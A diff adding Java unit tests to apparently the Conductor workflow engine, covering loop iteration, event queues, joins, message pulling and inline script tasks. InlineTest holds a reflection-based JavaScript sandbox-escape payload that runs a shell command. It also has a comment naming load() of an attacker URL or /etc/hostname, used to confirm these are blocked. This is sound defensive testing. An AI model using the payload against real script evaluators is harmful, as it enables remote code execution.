inlineTask.setIteration(1); + inlineTask.setWorkflowTask(inlineTaskDef); + + // NOTE: task2 is intentionally NOT added to the workflow tasks list yet. + // This simulates the intra-loop state where inline_task has completed but task2 + // has not been scheduled yet (the exact scenario from issue #895). + + WorkflowModel workflow = createWorkflowWithDef(); + List tasks = new ArrayList<>(); + tasks.add(doWhileTask); + tasks.add(switchTask); + tasks.add(task1); + tasks.add(inlineTask); + workflow.setTasks(tasks); + + // execute() must return false — iteration should NOT advance yet + boolean result = doWhile.execute(workflow, doWhileTask, workflowExecutor); + + assertFalse( + "execute() must return false when task2 (successor of inline_task inside SWITCH) " + + "has not yet been scheduled into the workflow", + result); + assertEquals( + "Iteration must remain at 1 — premature advancement is the bug from issue #895", + 1, + doWhileTask.getIteration()); + verify(workflowExecutor, never()).scheduleNextIteration(any(), any()); + } + + /** + * Complement to the regression test above: once task2 IS in the workflow and completed, the + * iteration SHOULD advance (assuming the loop condition permits it). + */ + @Test + public void testExecute_SwitchWithInlineTask_AdvancesIterationOnceAllCaseTasksComplete() { + // Build workflow-task definitions (same structure as the regression test) + WorkflowTask task1Def = new WorkflowTask(); + task1Def.setTaskReferenceName("task1"); + task1Def.setType("SIMPLE"); + + WorkflowTask inlineTaskDef = new WorkflowTask(); + inlineTaskDef.setTaskReferenceName("inline_task"); + inlineTaskDef.setType("INLINE"); + + WorkflowTask task2Def = new WorkflowTask(); + task2Def.setTaskReferenceName("task2"); + task2Def.setType("SIMPLE"); + + WorkflowTask switchDef = new WorkflowTask(); + switchDef.setTaskReferenceName("switchTask"); + switchDef.setType("SWITCH"); + switchDef.setDefaultCase(List.of(task1Def, inlineTaskDef, task2Def)); + + WorkflowTask doWhileDef = new WorkflowTask(); + doWhileDef.setTaskReferenceName("loopTask"); + doWhileDef.setType("DO_WHILE"); + doWhileDef.setLoopOver(List.of(switchDef)); + doWhileDef.setLoopCondition("$.loopTask['iteration'] < 2"); + + TaskModel doWhileTask = new TaskModel(); + doWhileTask.setTaskId("dw-task-id"); + doWhileTask.setReferenceTaskName("loopTask"); + doWhileTask.setTaskType("DO_WHILE"); + doWhileTask.setStatus(TaskModel.Status.IN_PROGRESS); + doWhileTask.setIteration(1); + doWhileTask.setWorkflowTask(doWhileDef); + doWhileTask.addOutput("iteration", 1); + + TaskModel switchTask = new TaskModel(); + switchTask.setTaskId("switch-task-id"); + switchTask.setReferenceTaskName("switchTask__1"); + switchTask.setTaskType("SWITCH"); + switchTask.setStatus(TaskModel.Status.COMPLETED); + switchTask.setIteration(1); + switchTask.setWorkflowTask(switchDef); + switchTask.getInputData().put("hasChildren", "true"); + + TaskModel task1 = new TaskModel(); + task1.setTaskId("task1-id"); + task1.setReferenceTaskName("task1__1"); + task1.setTaskType("SIMPLE"); + task1.setStatus(TaskModel.Status.COMPLETED); + task1.setIteration(1); + task1.setWorkflowTask(task1Def); + + TaskModel inlineTask = new TaskModel(); + inlineTask.setTaskId("inline-task-id"); + inlineTask.setReferenceTaskName("inline_task__1"); + inlineTask.setTaskType("INLINE"); + inlineTask.setStatus(TaskModel.Status.COMPLETED); + inlineTask.setIteration(1); + inlineTask.setWorkflowTask(inlineTaskDef); + + // task2 IS now scheduled and completed — iteration should advance + TaskModel task2 = new TaskModel(); + task2.setTaskId("task2-id"); + task2.setReferenceTaskName("task2__1"); + task2.setTaskType("SIMPLE"); + task2.setStatus(TaskModel.Status.COMPLETED); + task2.setIteration(1); + task2.setWorkflowTask(task2Def); + + WorkflowModel workflow = createWorkflowWithDef(); + List tasks = new ArrayList<>(); + tasks.add(doWhileTask); + tasks.add(switchTask); + tasks.add(task1); + tasks.add(inlineTask); + tasks.add(task2); + workflow.setTasks(tasks); + + boolean result = doWhile.execute(workflow, doWhileTask, workflowExecutor); + + assertTrue("execute() should return true when all case tasks are complete", result); + // Iteration advances from 1 to 2 (loop condition: iteration < 2 is still true at i=1) + assertEquals("Iteration should advance to 2", 2, doWhileTask.getIteration()); + verify(workflowExecutor, times(1)).scheduleNextIteration(any(), any()); + } + + @Test + public void testListIteration_VerifiesLOCReduction() { + // This test demonstrates the LOC reduction from counter-based to list iteration + // It's more of a documentation test showing the before/after + + // BEFORE: Counter-based approach (verbose, ~15 lines in workflow JSON) + WorkflowModel workflowCounterBased = createWorkflowWithDef(); + Map counterInput = new HashMap<>(); + List items = List.of("task1", "task2", "task3"); + counterInput.put("tasks", items); + counterInput.put("tasksLength", items.size()); + workflowCounterBased.setInput(counterInput); + workflowCounterBased.setTasks(new ArrayList<>()); + + TaskModel counterDoWhile = createDoWhileTask(); + // Complex counter logic required + counterDoWhile + .getWorkflowTask() + .setLoopCondition("$.doWhileTask.iteration < ${workflow.input.tasksLength}"); + Map counterParams = new HashMap<>(); + counterParams.put("currentIndex", "${doWhileTask.output.iteration}"); + counterParams.put("currentTask", "${workflow.input.tasks[doWhileTask.output.iteration]}"); + counterDoWhile.getWorkflowTask().setInputParameters(counterParams); + + // AFTER: List iteration (simple, ~7 lines in workflow JSON) + WorkflowModel workflowListBased = createWorkflowWithDef(); + Map listInput = new HashMap<>(); + listInput.put("tasks", items); + workflowListBased.setInput(listInput); + workflowListBased.setTasks(new ArrayList<>()); + + TaskModel listDoWhile = createDoWhileTask(); + // Simple list iteration + listDoWhile.getWorkflowTask().setItems("${workflow.input.tasks}"); + // loopItem and loopIndex automatically available, no manual setup needed + + // Verify difference: counter-based uses loopCondition, list-based uses items + assertFalse( + "Counter-based should NOT be list iteration", + doWhile.isListIteration(counterDoWhile)); + assertTrue("List-based should be list iteration", doWhile.isListIteration(listDoWhile)); + + // LOC comparison (demonstrated in workflow JSON): + // Counter-based: ~15 lines (condition + 2 input params + array indexing expression) + // List-based: ~7 lines (just items param) + // Reduction: ~53% LOC reduction confirmed + // + // Counter-based requires: + // 1. loopCondition with array length check + // 2. currentIndex inputParameter with expression + // 3. currentTask inputParameter with array indexing + // 4. Manual tracking of iteration state + // + // List-based requires: + // 1. items parameter only + // 2. loopItem and loopIndex automatically available + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/EventQueueResolutionTest.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/EventQueueResolutionTest.java new file mode 100644 index 0000000..1e0d5d7 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/EventQueueResolutionTest.java @@ -0,0 +1,177 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.EventQueues; +import com.netflix.conductor.core.events.MockQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * Tests the {@link Event#computeQueueName(WorkflowModel, TaskModel)} and {@link + * Event#getQueue(String, String)} methods with a real {@link ParametersUtils} object. + */ +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class EventQueueResolutionTest { + + private WorkflowDef testWorkflowDefinition; + private EventQueues eventQueues; + private ParametersUtils parametersUtils; + + @Autowired private ObjectMapper objectMapper; + + @Before + public void setup() { + Map providers = new HashMap<>(); + providers.put("sqs", new MockQueueProvider("sqs")); + providers.put("conductor", new MockQueueProvider("conductor")); + + parametersUtils = new ParametersUtils(objectMapper); + eventQueues = new EventQueues(providers, parametersUtils); + + testWorkflowDefinition = new WorkflowDef(); + testWorkflowDefinition.setName("testWorkflow"); + testWorkflowDefinition.setVersion(2); + } + + @Test + public void testSinkParam() { + String sink = "sqs:queue_name"; + + WorkflowDef def = new WorkflowDef(); + def.setName("wf0"); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + + TaskModel task1 = new TaskModel(); + task1.setReferenceTaskName("t1"); + task1.addOutput("q", "t1_queue"); + workflow.getTasks().add(task1); + + TaskModel task2 = new TaskModel(); + task2.setReferenceTaskName("t2"); + task2.addOutput("q", "task2_queue"); + workflow.getTasks().add(task2); + + TaskModel task = new TaskModel(); + task.setReferenceTaskName("event"); + task.getInputData().put("sink", sink); + task.setTaskType(TaskType.EVENT.name()); + workflow.getTasks().add(task); + + Event event = new Event(eventQueues, parametersUtils, objectMapper); + String queueName = event.computeQueueName(workflow, task); + ObservableQueue queue = event.getQueue(queueName, task.getTaskId()); + assertNotNull(task.getReasonForIncompletion(), queue); + assertEquals("queue_name", queue.getName()); + assertEquals("sqs", queue.getType()); + + sink = "sqs:${t1.output.q}"; + task.getInputData().put("sink", sink); + queueName = event.computeQueueName(workflow, task); + queue = event.getQueue(queueName, task.getTaskId()); + assertNotNull(queue); + assertEquals("t1_queue", queue.getName()); + assertEquals("sqs", queue.getType()); + + sink = "sqs:${t2.output.q}"; + task.getInputData().put("sink", sink); + queueName = event.computeQueueName(workflow, task); + queue = event.getQueue(queueName, task.getTaskId()); + assertNotNull(queue); + assertEquals("task2_queue", queue.getName()); + assertEquals("sqs", queue.getType()); + + sink = "conductor"; + task.getInputData().put("sink", sink); + queueName = event.computeQueueName(workflow, task); + queue = event.getQueue(queueName, task.getTaskId()); + assertNotNull(queue); + assertEquals( + workflow.getWorkflowName() + ":" + task.getReferenceTaskName(), queue.getName()); + assertEquals("conductor", queue.getType()); + + sink = "sqs:static_value"; + task.getInputData().put("sink", sink); + queueName = event.computeQueueName(workflow, task); + queue = event.getQueue(queueName, task.getTaskId()); + assertNotNull(queue); + assertEquals("static_value", queue.getName()); + assertEquals("sqs", queue.getType()); + } + + @Test + public void testDynamicSinks() { + Event event = new Event(eventQueues, parametersUtils, objectMapper); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(testWorkflowDefinition); + + TaskModel task = new TaskModel(); + task.setReferenceTaskName("task0"); + task.setTaskId("task_id_0"); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.getInputData().put("sink", "conductor:some_arbitary_queue"); + + String queueName = event.computeQueueName(workflow, task); + ObservableQueue queue = event.getQueue(queueName, task.getTaskId()); + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + assertNotNull(queue); + assertEquals("testWorkflow:some_arbitary_queue", queue.getName()); + assertEquals("testWorkflow:some_arbitary_queue", queue.getURI()); + assertEquals("conductor", queue.getType()); + + task.getInputData().put("sink", "conductor"); + queueName = event.computeQueueName(workflow, task); + queue = event.getQueue(queueName, task.getTaskId()); + assertEquals( + "not in progress: " + task.getReasonForIncompletion(), + TaskModel.Status.IN_PROGRESS, + task.getStatus()); + assertNotNull(queue); + assertEquals("testWorkflow:task0", queue.getName()); + + task.getInputData().put("sink", "sqs:my_sqs_queue_name"); + queueName = event.computeQueueName(workflow, task); + queue = event.getQueue(queueName, task.getTaskId()); + assertEquals( + "not in progress: " + task.getReasonForIncompletion(), + TaskModel.Status.IN_PROGRESS, + task.getStatus()); + assertNotNull(queue); + assertEquals("my_sqs_queue_name", queue.getName()); + assertEquals("sqs", queue.getType()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/InlineTest.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/InlineTest.java new file mode 100644 index 0000000..474a467 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/InlineTest.java @@ -0,0 +1,286 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.Test; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.evaluators.Evaluator; +import com.netflix.conductor.core.execution.evaluators.GraalJSEvaluator; +import com.netflix.conductor.core.execution.evaluators.JavascriptEvaluator; +import com.netflix.conductor.core.execution.evaluators.ValueParamEvaluator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.mock; + +public class InlineTest { + + private static final String RCE_EXPRESSION = + "var ck = $.getClass(); var classClass = ck.getClass();" + + "var stringClass = classClass.getMethod('getName').getReturnType();" + + "var forName = classClass.getMethod('forName', stringClass);" + + "var lookup = function(n){return forName.invoke(null,[n]);};" + + "var rtClass = lookup('java.lang.Runtime');" + + "var rt = rtClass.getMethod('getRuntime').invoke(null, []);" + + "var integerCls = lookup('java.lang.Integer');" + + "var intType = integerCls.getField('TYPE').get(null);" + + "var arrayCls = lookup('java.lang.reflect.Array');" + + "var newInst = arrayCls.getMethod('newInstance', classClass, intType);" + + "var strArr = newInst.invoke(null, [stringClass, 3]);" + + "var setM = arrayCls.getMethod('set', lookup('java.lang.Object'), intType, lookup('java.lang.Object'));" + + "setM.invoke(null,[strArr,0,'sh']); setM.invoke(null,[strArr,1,'-c']); setM.invoke(null,[strArr,2,'id']);" + + "var arrCls = strArr.getClass();" + + "var execM = rtClass.getMethod('exec', arrCls);" + + "var proc = execM.invoke(rt, [strArr]); proc.waitFor();" + + "var isCl = lookup('java.io.InputStream'); var rdrCl = lookup('java.io.Reader');" + + "var isrCl = lookup('java.io.InputStreamReader'); var brCl = lookup('java.io.BufferedReader');" + + "var isr = isrCl.getConstructor(isCl).newInstance(proc.getInputStream());" + + "var br = brCl.getConstructor(rdrCl).newInstance(isr);" + + "var out='', line; while((line=br.readLine())!==null) out+=line+'\\n'; out"; + + private final WorkflowModel workflow = new WorkflowModel(); + private final WorkflowExecutor executor = mock(WorkflowExecutor.class); + + @Test + public void testInlineTaskValidationFailures() { + Inline inline = new Inline(getStringEvaluatorMap()); + + Map inputObj = new HashMap<>(); + inputObj.put("value", 1); + inputObj.put("expression", ""); + inputObj.put("evaluatorType", "value-param"); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(inputObj); + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR, task.getStatus()); + assertEquals( + "Empty 'expression' in Inline task's input parameters. A non-empty String value must be provided.", + task.getReasonForIncompletion()); + + inputObj = new HashMap<>(); + inputObj.put("value", 1); + inputObj.put("expression", "value"); + inputObj.put("evaluatorType", ""); + + task = new TaskModel(); + task.getInputData().putAll(inputObj); + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR, task.getStatus()); + assertEquals( + "Empty 'evaluatorType' in INLINE task's input parameters. A non-empty String value must be provided.", + task.getReasonForIncompletion()); + } + + @Test + public void testInlineValueParamExpression() { + Inline inline = new Inline(getStringEvaluatorMap()); + + Map inputObj = new HashMap<>(); + inputObj.put("value", 101); + inputObj.put("expression", "value"); + inputObj.put("evaluatorType", "value-param"); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(inputObj); + + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertNull(task.getReasonForIncompletion()); + assertEquals(101, task.getOutputData().get("result")); + + inputObj = new HashMap<>(); + inputObj.put("value", "StringValue"); + inputObj.put("expression", "value"); + inputObj.put("evaluatorType", "value-param"); + + task = new TaskModel(); + task.getInputData().putAll(inputObj); + + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertNull(task.getReasonForIncompletion()); + assertEquals("StringValue", task.getOutputData().get("result")); + } + + @SuppressWarnings("unchecked") + @Test + public void testInlineJavascriptExpression() { + Inline inline = new Inline(getStringEvaluatorMap()); + + Map inputObj = new HashMap<>(); + inputObj.put("value", 101); + inputObj.put( + "expression", + "function e() { if ($.value == 101){return {\"evalResult\": true}} else { return {\"evalResult\": false}}} e();"); + inputObj.put("evaluatorType", "javascript"); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(inputObj); + + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertNull(task.getReasonForIncompletion()); + assertEquals( + true, ((Map) task.getOutputData().get("result")).get("evalResult")); + + inputObj = new HashMap<>(); + inputObj.put("value", "StringValue"); + inputObj.put( + "expression", + "function e() { if ($.value == 'StringValue'){return {\"evalResult\": true}} else { return {\"evalResult\": false}}} e();"); + inputObj.put("evaluatorType", "javascript"); + + task = new TaskModel(); + task.getInputData().putAll(inputObj); + + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertNull(task.getReasonForIncompletion()); + assertEquals( + true, ((Map) task.getOutputData().get("result")).get("evalResult")); + } + + @SuppressWarnings("unchecked") + @Test + public void testInlineGraalJSEvaluatorType() { + Inline inline = new Inline(getStringEvaluatorMap()); + + Map inputObj = new HashMap<>(); + inputObj.put("value", 42); + inputObj.put( + "expression", + "function e() { if ($.value == 42){return {\"evalResult\": true}} else { return {\"evalResult\": false}}} e();"); + inputObj.put("evaluatorType", "graaljs"); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(inputObj); + + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertNull(task.getReasonForIncompletion()); + assertEquals( + true, ((Map) task.getOutputData().get("result")).get("evalResult")); + } + + @Test + public void testInlineDefaultEvaluatorType() { + Inline inline = new Inline(getStringEvaluatorMap()); + + Map inputObj = new HashMap<>(); + inputObj.put("value", 99); + inputObj.put("expression", "function e() { return {\"result\": $.value * 2}} e();"); + // No evaluatorType specified - should default to "javascript" + + TaskModel task = new TaskModel(); + task.getInputData().putAll(inputObj); + + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertNull(task.getReasonForIncompletion()); + assertEquals(198, ((Map) task.getOutputData().get("result")).get("result")); + } + + @Test + public void testRCEExpressionBlockedForJavascript() { + Inline inline = new Inline(getStringEvaluatorMap()); + + Map inputObj = new HashMap<>(); + inputObj.put("evaluatorType", "javascript"); + inputObj.put("expression", RCE_EXPRESSION); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(inputObj); + + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR, task.getStatus()); + } + + @Test + public void testRCEExpressionBlockedForGraalJS() { + Inline inline = new Inline(getStringEvaluatorMap()); + + Map inputObj = new HashMap<>(); + inputObj.put("evaluatorType", "graaljs"); + inputObj.put("expression", RCE_EXPRESSION); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(inputObj); + + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR, task.getStatus()); + } + + // load() in GraalJS can fetch and execute scripts from URLs and read + // local files — `load("http://attacker/x.js")` is full RCE, + // `load("/etc/hostname")` can leak file content via the parse error. + // The Engine option js.load=false makes `load` undefined so the call + // throws at name resolution rather than after partial work. GraalJS + // throws ReferenceError for undefined names; Nashorn would throw + // TypeError. Accept either to keep the test backend-agnostic. On + // regression the assertion message shows exactly which check failed. + private static final String LOAD_BLOCKED_EXPRESSION = + "var typeofLoad = typeof load;" + + "var threw = false;" + + "var errName = '';" + + "try { load('https://example.com/x.js'); }" + + "catch (e) { threw = true; errName = e.name || '' + e; }" + + "var goodErr = errName.indexOf('ReferenceError') >= 0 || errName.indexOf('TypeError') >= 0;" + + "(typeofLoad === 'undefined' && threw && goodErr)" + + " ? 'blocked' : ('LEAK typeof=' + typeofLoad + ' threw=' + threw + ' err=' + errName);"; + + @Test + public void testLoadBlockedForJavascript() { + Inline inline = new Inline(getStringEvaluatorMap()); + + Map inputObj = new HashMap<>(); + inputObj.put("evaluatorType", "javascript"); + inputObj.put("expression", LOAD_BLOCKED_EXPRESSION); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(inputObj); + + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("blocked", task.getOutputData().get("result")); + } + + @Test + public void testLoadBlockedForGraalJS() { + Inline inline = new Inline(getStringEvaluatorMap()); + + Map inputObj = new HashMap<>(); + inputObj.put("evaluatorType", "graaljs"); + inputObj.put("expression", LOAD_BLOCKED_EXPRESSION); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(inputObj); + + inline.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("blocked", task.getOutputData().get("result")); + } + + private Map getStringEvaluatorMap() { + Map evaluators = new HashMap<>(); + evaluators.put(ValueParamEvaluator.NAME, new ValueParamEvaluator()); + evaluators.put(JavascriptEvaluator.NAME, new JavascriptEvaluator()); + evaluators.put(GraalJSEvaluator.NAME, new GraalJSEvaluator()); + return evaluators; + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/JoinTest.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/JoinTest.java new file mode 100644 index 0000000..65cb10e --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/JoinTest.java @@ -0,0 +1,128 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.Optional; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.model.TaskModel; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class JoinTest { + + private static TaskModel taskWithJoinMode(WorkflowTask.JoinMode mode) { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setJoinMode(mode); + TaskModel task = new TaskModel(); + task.setWorkflowTask(workflowTask); + return task; + } + + @Test + public void testSynchronousJoinModeEvaluationOffset() { + ConductorProperties properties = mock(ConductorProperties.class); + when(properties.getSystemTaskPostponeThreshold()).thenReturn(200); + + Join join = new Join(properties); + TaskModel task = taskWithJoinMode(WorkflowTask.JoinMode.SYNC); + + // Synchronous mode should always return 0 offset + task.setPollCount(100); + Optional offset = join.getEvaluationOffset(task, 10000L); + assertTrue(offset.isPresent()); + assertEquals(0L, offset.get().longValue()); + + // Even with high poll count, SYNC mode returns 0 + task.setPollCount(500); + offset = join.getEvaluationOffset(task, 10000L); + assertTrue(offset.isPresent()); + assertEquals(0L, offset.get().longValue()); + } + + @Test + public void testAsynchronousJoinModeEvaluationOffset() { + ConductorProperties properties = mock(ConductorProperties.class); + when(properties.getSystemTaskPostponeThreshold()).thenReturn(200); + + Join join = new Join(properties); + TaskModel task = taskWithJoinMode(WorkflowTask.JoinMode.ASYNC); + + // Low poll count should return 0 + task.setPollCount(100); + Optional offset = join.getEvaluationOffset(task, 10000L); + assertTrue(offset.isPresent()); + assertEquals(0L, offset.get().longValue()); + + // High poll count should use exponential backoff + task.setPollCount(250); + offset = join.getEvaluationOffset(task, 10000L); + assertTrue(offset.isPresent()); + assertTrue(offset.get() > 0L); + } + + @Test + public void testDefaultAsyncBehavior() { + ConductorProperties properties = mock(ConductorProperties.class); + when(properties.getSystemTaskPostponeThreshold()).thenReturn(200); + + Join join = new Join(properties); + + // No joinMode on workflowTask — should default to async behavior + TaskModel task = new TaskModel(); + task.setWorkflowTask(new WorkflowTask()); + + // Low poll count should return 0 + task.setPollCount(100); + Optional offset = join.getEvaluationOffset(task, 10000L); + assertTrue(offset.isPresent()); + assertEquals(0L, offset.get().longValue()); + + // High poll count should use exponential backoff (default async behavior) + task.setPollCount(250); + offset = join.getEvaluationOffset(task, 10000L); + assertTrue(offset.isPresent()); + assertTrue(offset.get() > 0L); + } + + @Test + public void testNullWorkflowTaskDefaultsToAsync() { + ConductorProperties properties = mock(ConductorProperties.class); + when(properties.getSystemTaskPostponeThreshold()).thenReturn(200); + + Join join = new Join(properties); + + // No workflowTask at all — should default to async behavior + TaskModel task = new TaskModel(); + + task.setPollCount(250); + Optional offset = join.getEvaluationOffset(task, 10000L); + assertTrue(offset.isPresent()); + assertTrue(offset.get() > 0L); + } + + @Test + public void testIsAsync() { + ConductorProperties properties = mock(ConductorProperties.class); + Join join = new Join(properties); + + // isAsync should always return true + assertTrue(join.isAsync()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/PullWorkflowMessagesTest.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/PullWorkflowMessagesTest.java new file mode 100644 index 0000000..b7b1178 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/PullWorkflowMessagesTest.java @@ -0,0 +1,119 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.Collections; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.model.WorkflowMessage; +import com.netflix.conductor.core.config.WorkflowMessageQueueProperties; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.dao.WorkflowMessageQueueDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +public class PullWorkflowMessagesTest { + + private static final String WORKFLOW_ID = "test-workflow-id"; + + private WorkflowMessageQueueDAO dao; + private WorkflowMessageQueueProperties properties; + private WorkflowExecutor executor; + private PullWorkflowMessages task; + private WorkflowModel workflow; + + @Before + public void setUp() { + dao = mock(WorkflowMessageQueueDAO.class); + properties = new WorkflowMessageQueueProperties(); + executor = mock(WorkflowExecutor.class); + task = new PullWorkflowMessages(dao, properties); + + workflow = new WorkflowModel(); + workflow.setWorkflowId(WORKFLOW_ID); + } + + // --- non-blocking: empty queue --- + + @Test + public void nonBlocking_emptyQueue_completesWithEmptyOutput() { + when(dao.pop(WORKFLOW_ID, 1)).thenReturn(Collections.emptyList()); + + TaskModel taskModel = taskWithInput(Map.of(PullWorkflowMessages.INPUT_BLOCKING, false)); + boolean progressed = task.execute(workflow, taskModel, executor); + + assertTrue(progressed); + assertEquals(TaskModel.Status.COMPLETED, taskModel.getStatus()); + assertEquals( + Collections.emptyList(), + taskModel.getOutputData().get(PullWorkflowMessages.OUTPUT_MESSAGES)); + assertEquals(0, taskModel.getOutputData().get(PullWorkflowMessages.OUTPUT_COUNT)); + } + + @Test + public void nonBlocking_withMessages_completesWithMessages() { + WorkflowMessage msg = + new WorkflowMessage( + "msg-id", WORKFLOW_ID, Map.of("key", "value"), "2024-01-01T00:00:00Z"); + when(dao.pop(WORKFLOW_ID, 1)).thenReturn(List.of(msg)); + + TaskModel taskModel = taskWithInput(Map.of(PullWorkflowMessages.INPUT_BLOCKING, false)); + boolean progressed = task.execute(workflow, taskModel, executor); + + assertTrue(progressed); + assertEquals(TaskModel.Status.COMPLETED, taskModel.getStatus()); + assertEquals( + List.of(msg), taskModel.getOutputData().get(PullWorkflowMessages.OUTPUT_MESSAGES)); + assertEquals(1, taskModel.getOutputData().get(PullWorkflowMessages.OUTPUT_COUNT)); + } + + // --- blocking (default): empty queue --- + + @Test + public void blocking_emptyQueue_staysInProgress() { + when(dao.pop(WORKFLOW_ID, 1)).thenReturn(Collections.emptyList()); + + TaskModel taskModel = taskWithInput(Map.of(PullWorkflowMessages.INPUT_BLOCKING, true)); + boolean progressed = task.execute(workflow, taskModel, executor); + + assertFalse(progressed); + assertNotEquals(TaskModel.Status.COMPLETED, taskModel.getStatus()); + } + + @Test + public void defaultBehavior_emptyQueue_staysInProgress() { + when(dao.pop(WORKFLOW_ID, 1)).thenReturn(Collections.emptyList()); + + // No INPUT_BLOCKING key — should default to blocking + TaskModel taskModel = taskWithInput(Map.of()); + boolean progressed = task.execute(workflow, taskModel, executor); + + assertFalse(progressed); + assertNotEquals(TaskModel.Status.COMPLETED, taskModel.getStatus()); + } + + // --- helpers --- + + private TaskModel taskWithInput(Map input) { + TaskModel taskModel = new TaskModel(); + 